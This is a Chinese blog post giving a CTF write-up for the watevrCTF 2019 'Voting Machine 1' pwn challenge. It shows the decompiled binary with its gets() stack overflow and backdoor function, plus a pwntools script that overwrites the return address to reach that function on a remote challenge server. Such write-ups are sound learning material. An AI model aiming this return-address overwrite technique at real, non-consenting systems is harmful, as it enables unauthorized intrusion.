news 2026/6/9 23:07:20

[watevrCTF 2019]Voting Machine 1

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[watevrCTF 2019]Voting Machine 1

第一次打CTF——PWN篇学习笔记12

int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE v4[2]; // [rsp+Eh] [rbp-2h] BYREF ​ signal(14, sig); alarm(0x28u); puts("Hello and welcome to \x1B[3mour\x1B[23m voting application!"); puts("Today's vote will be regarding the administration of"); puts("watevr CTF."); puts("the voting range is 0 to 10. 0 being the worst possible and 10 being the best possible."); puts("Thanks!"); printf("Vote: "); fflush(_bss_start); gets(v4); puts("Thanks for voting!"); return 0; }

发现gets函数,明显的栈溢出,查看字符串发现/home/ctf/flag.txt,点击进入后门函数

void __noreturn super_secret_function() { FILE *stream; // [rsp+0h] [rbp-10h] char i; // [rsp+Fh] [rbp-1h] ​ stream = fopen("/home/ctf/flag.txt", "r"); if ( !stream ) { puts("Cannot open flag.txt"); exit(1); } for ( i = fgetc(stream); i != -1; i = fgetc(stream) ) putchar(i); fclose(stream); exit(0); }
.text:0000000000400807 super_secret_function proc near .text:0000000000400807 .text:0000000000400807 stream = qword ptr -10h .text:0000000000400807 var_1 = byte ptr -1 .text:0000000000400807 .text:0000000000400807 ; __unwind { .text:0000000000400807 push rbp .text:0000000000400808 mov rbp, rsp .text:000000000040080B sub rsp, 10h .text:000000000040080F lea rsi, modes ; "r" .text:0000000000400816 lea rdi, filename ; "/home/ctf/flag.txt" .text:000000000040081D call _fopen .text:0000000000400822 mov [rbp+stream], rax .text:0000000000400826 cmp [rbp+stream], 0 .text:000000000040082B jnz short loc_400843 .text:000000000040082D lea rdi, s ; "Cannot open flag.txt" .text:0000000000400834 call _puts .text:0000000000400839 mov edi, 1 ; status .text:000000000040083E call _exit

取地址0x400808,据此编写脚本,成功获得flag

from pwn import * import struct ​ context.arch = 'amd64' context.os = 'linux' ​ #io = process('./pwn') io = remote("node5.anna.nssctf.cn",21930) ​ backdoor = 0x400808 ​ payload = cyclic(0x2 + 8) + p64(backdoor) ​ io.sendline(payload) ​ io.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 5:39:54

【课程设计/毕业设计】基于springboot古风生活体验交流网站的设计与实现朝代信息、汉服文化、服装分类【附源码、数据库、万字文档】

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

作者头像 李华
网站建设 2026/6/10 14:01:00

【Coze实战】5分钟搞定!Nano banana Pro 制作精美3D手办,细节逼真到离谱

Nano banana Pro的出现使AI生图又迈上了一个新台阶。它被称为目前最强生图模型,是基于 Google 最新的Gemini 3 Pro 多模态大模型构建,具备深度理解能力。 它最出圈的应用之一就是3D手办。你给它一张照片或简单描述,它能立刻把人、宠物或动漫…

作者头像 李华
网站建设 2026/6/10 15:44:51

Hadoop与Python:PySpark大数据处理指南

PySpark实战:用Python玩转Hadoop大数据处理 一、引言:Python开发者的大数据困境与解决方案 1.1 一个真实的痛点场景 作为Python开发者,你是否遇到过这样的问题? 用Pandas处理1GB的CSV文件很轻松,但面对100GB的用户…

作者头像 李华
网站建设 2026/6/10 1:50:07

2026毕设ssm+vue基于高校新生报到论文+程序

本系统(程序源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容一、选题背景关于动漫信息管理与展示系统的研究,现有研究主要以综合性内容管理系统或单一功能模块为主,专门针对动漫…

作者头像 李华
网站建设 2026/6/10 12:03:00

【ACWing】111. 畜栏预定

题目地址: https://www.acwing.com/problem/content/113/ 有NNN头牛在畜栏中吃草。每个畜栏在同一时间段只能提供给一头牛吃草,所以可能会需要多个畜栏。给定NNN头牛和每头牛开始吃草的时间AAA以及结束吃草的时间BBB,每头牛在[A,B][A,B][A,…

作者头像 李华